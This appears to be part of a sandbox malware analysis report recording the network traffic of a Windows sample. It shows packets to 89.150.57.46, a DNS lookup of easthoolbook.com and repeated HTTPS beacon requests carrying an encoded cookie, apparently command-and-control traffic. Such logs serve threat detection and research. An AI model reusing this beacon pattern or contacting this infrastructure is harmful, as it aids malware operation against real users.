Apr 19, 2024 15:32:43.907092094 CEST	49742	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:43.907124996 CEST	443	49742	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:43.907169104 CEST	443	49742	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:43.907217979 CEST	49742	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:43.907440901 CEST	49742	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:43.907460928 CEST	443	49742	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:45.880081892 CEST	49743	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:45.880125999 CEST	443	49743	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:45.880223036 CEST	49743	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:45.880475044 CEST	49743	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:45.880487919 CEST	443	49743	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:46.507266045 CEST	443	49743	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:46.507641077 CEST	49743	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:46.524441004 CEST	49743	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:46.524461031 CEST	443	49743	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:46.526103020 CEST	49743	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:46.526113033 CEST	443	49743	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:46.917293072 CEST	443	49743	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:46.917380095 CEST	49743	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:46.917393923 CEST	443	49743	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:46.917426109 CEST	443	49743	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:46.917433023 CEST	49743	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:46.917459965 CEST	49743	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:46.917849064 CEST	49743	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:46.917865992 CEST	443	49743	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:48.850107908 CEST	49744	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:48.850147009 CEST	443	49744	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:48.850241899 CEST	49744	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:48.850475073 CEST	49744	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:48.850488901 CEST	443	49744	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:49.476893902 CEST	443	49744	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:49.476944923 CEST	49744	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:49.477766991 CEST	49744	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:49.477780104 CEST	443	49744	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:49.485407114 CEST	49744	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:49.485415936 CEST	443	49744	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:49.892160892 CEST	443	49744	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:49.892283916 CEST	443	49744	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:49.892412901 CEST	49744	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:49.892900944 CEST	49744	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:49.892920971 CEST	443	49744	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:51.834130049 CEST	49745	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:51.834178925 CEST	443	49745	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:51.834250927 CEST	49745	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:51.834486961 CEST	49745	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:51.834501982 CEST	443	49745	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:52.460043907 CEST	443	49745	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:52.460160971 CEST	49745	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:52.460722923 CEST	49745	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:52.460732937 CEST	443	49745	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:52.462018013 CEST	49745	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:52.462025881 CEST	443	49745	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:52.876801014 CEST	443	49745	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:52.876940012 CEST	443	49745	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:52.877000093 CEST	49745	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:52.877306938 CEST	49745	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:52.877329111 CEST	443	49745	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:56.128837109 CEST	49746	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:56.128889084 CEST	443	49746	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:56.128952026 CEST	49746	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:56.130975008 CEST	49746	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:56.130985975 CEST	443	49746	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:56.742496967 CEST	443	49746	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:56.742597103 CEST	49746	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:56.743027925 CEST	49746	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:56.743035078 CEST	443	49746	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:56.744327068 CEST	49746	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:56.744333029 CEST	443	49746	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:57.150635004 CEST	443	49746	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:57.150700092 CEST	49746	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:57.150726080 CEST	443	49746	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:57.150767088 CEST	49746	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:57.150772095 CEST	443	49746	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:57.150809050 CEST	49746	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:57.150855064 CEST	443	49746	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:57.150897980 CEST	49746	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:57.150994062 CEST	49746	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:57.151007891 CEST	443	49746	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:59.104425907 CEST	49747	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:59.104480028 CEST	443	49747	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:59.104553938 CEST	49747	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:59.104928017 CEST	49747	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:59.104942083 CEST	443	49747	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:59.729063034 CEST	443	49747	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:59.729191065 CEST	49747	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:59.729722023 CEST	49747	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:59.729748964 CEST	443	49747	89.150.57.46	192.168.2.6
Apr 19, 2024 15:32:59.731070995 CEST	49747	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:32:59.731084108 CEST	443	49747	89.150.57.46	192.168.2.6
Apr 19, 2024 15:33:00.145243883 CEST	443	49747	89.150.57.46	192.168.2.6
Apr 19, 2024 15:33:00.145368099 CEST	443	49747	89.150.57.46	192.168.2.6
Apr 19, 2024 15:33:00.145428896 CEST	49747	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:33:00.145428896 CEST	49747	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:33:00.159507036 CEST	49747	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:33:00.159559011 CEST	443	49747	89.150.57.46	192.168.2.6
Apr 19, 2024 15:33:02.131889105 CEST	49748	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:33:02.131933928 CEST	443	49748	89.150.57.46	192.168.2.6
Apr 19, 2024 15:33:02.132023096 CEST	49748	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:33:02.132297993 CEST	49748	443	192.168.2.6	89.150.57.46
Apr 19, 2024 15:33:02.132318974 CEST	443	49748	89.150.57.46	192.168.2.6
Apr 19, 2024 15:33:02.755567074 CEST	443	49748	89.150.57.46	192.168.2.6
Apr 19, 2024 15:33:02.755642891 CEST	49748	443	192.168.2.6	89.150.57.46

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 15:30:59.005417109 CEST	50014	53	192.168.2.6	1.1.1.1
Apr 19, 2024 15:30:59.143554926 CEST	53	50014	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 19, 2024 15:30:59.005417109 CEST	192.168.2.6	1.1.1.1	0x337b	Standard query (0)	easthoolbook.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 19, 2024 15:30:59.143554926 CEST	1.1.1.1	192.168.2.6	0x337b	No error (0)	easthoolbook.com		89.150.57.46	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

easthoolbook.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49699	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:30:59 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:00 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:18 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:00 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49700	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:02 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:03 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:21 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:03 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49701	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:05 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:06 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:24 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:06 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49702	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:08 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:09 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:27 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:09 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49703	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:11 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:12 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:30 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:12 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49704	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:15 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:15 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:34 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:15 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49713	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 13:31:18 UTC	517	OUT	GET /sign.mpeg?dare=true HTTP/1.1 Host: easthoolbook.com Accept: application/xml Cookie: ouid=anIvNW9kUjJIbHJDUVQ0ZWdmVG04UFVUUzhNeDJ5NEhkaDIrTmYxS0t0ZjZQRjVmeXluSnI2RXZWWkhxU3NpMTVEREZmRHB1Q2w3c053WVFKYjdpRDBqVk0rak9Na0VkQmNZaUlONkMxNENOb0VCRlVKa1U4Q05EcENBdE04b3MrU1lTcXcraHk0ekFrYitzK2IvSzBQdzdDV25ISXIrOWptMVE4T0RNM1IwPQ== User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36 Connection: Close Cache-Control: no-cache
2024-04-19 13:31:18 UTC	141	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 13:28:37 GMT Connection: close Content-Type: text/html Server: cloudflare Content-Length: 600
2024-04-19 13:31:18 UTC	600	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 37 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 69 65 20 69 65 38 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 20 20 20 20 3c 68 65 61 64 3e 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 55 54 46 2d 38 27 20 2f 3e 20 20 20 20 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if IE 7]><html class='ie ie7' lang='en-US'><![endif]-->...[if IE 8]><html class='ie ie8' lang='en-US'><![endif]-->...[if !(IE 7) \| !(IE 8) ]>...><html lang='en-US'>...<![endif]--> <head> <meta charset='UTF-8' /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49714	89.150.57.46	443	6516	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.14921.4629.exe

Timestamp	Bytes transferred	Direction	Data
